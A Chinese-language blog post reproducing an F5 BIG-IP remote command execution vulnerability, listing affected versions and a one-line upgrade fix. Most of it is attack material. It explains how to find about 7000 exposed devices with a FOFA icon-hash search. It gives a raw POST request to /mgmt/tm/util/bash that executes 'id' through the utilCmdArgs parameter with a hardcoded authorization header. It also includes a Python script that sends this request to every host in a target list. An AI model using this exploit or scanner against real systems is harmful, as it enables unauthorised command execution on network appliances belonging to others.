免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
一:漏洞描述
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台,,F5安全公告更新了BIG-IP,BIG-IQ中的多个严重漏洞。
二: 漏洞影响
F5 BIG-IP 16.x: 16.1.0.3
F5 BIG-IP 15.x: 15.1.0.4
F5 BIG-IP 14.x: 14.1.2.6
F5 BIG-IP 13.x: 13.1.3.4
F5 BIG-IP 12.x: 12.1.5.2
F5 BIG-IP 11.x: 11.6.5.2
三: 漏洞复现
通过fofa(会员才能使用该搜索方法)语句搜索icon_hash:-335242539(下篇文章来写通过icon_hash来定位真实的IP地址),搜索出将近7000条,fofa还是很强大的。
随便访问一个url,登陆页面如下:
poc如下:该漏洞通过utilCmdArgs参数执行命令。
POST /mgmt/tm/util/bash HTTP/1.1
Host: x.x.x.x
Connection: close
Content-Length: 41
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token:
Upgrade-Insecure-Requests: 1
Content-Type: application/json
{"command":"run","utilCmdArgs":"-c id"}
响应包为:
四: 漏洞批量检测POC,将ip.txt放入同级目录即可。
import requests
import sys
import random
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def poc():
with open(r"ip.txt", "r", encoding='utf8') as scan_url:
for url in scan_url:
if url[:4] != "http":
url = "https://" + url
url = url.strip('\n')
vun_url=url + "/mgmt/tm/util/bash"
headers={
"Authorization": "Basic YWRtaW46QVNhc1M=",
"X-F5-Auth-Token": "",
"Content-Type": "application/json"
}
data='{"command":"run","utilCmdArgs":"-c id"}'
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response=requests.post(url=vun_url,headers=headers,data=data,verify=False,timeout=2)
if "commandResult" in response.text and response.status_code ==200:
print("目标{}存在漏洞,响应为{}".format(url,json.loads(response.text)["commandResult"]))
else:
print("目标{}不存在漏洞".format(url))
except Exception as e:
print("目标{}请求失败".format(url))
if __name__ == '__main__':
poc()
检测效果如下:
五: 修复方法:
官方已发布上述漏洞的安全更新,建议受影响用户尽快升级到安全版本。
参考连接:
https://mp.weixin.qq.com/s/ZtE7R4PPgdWY9ea06A9wqQ
https://mp.weixin.qq.com/s/lyrVwgSnu0iSehVr3lZiRw
https://mp.weixin.qq.com/s/NFNdr_0_6G0Zd65BvfNA-w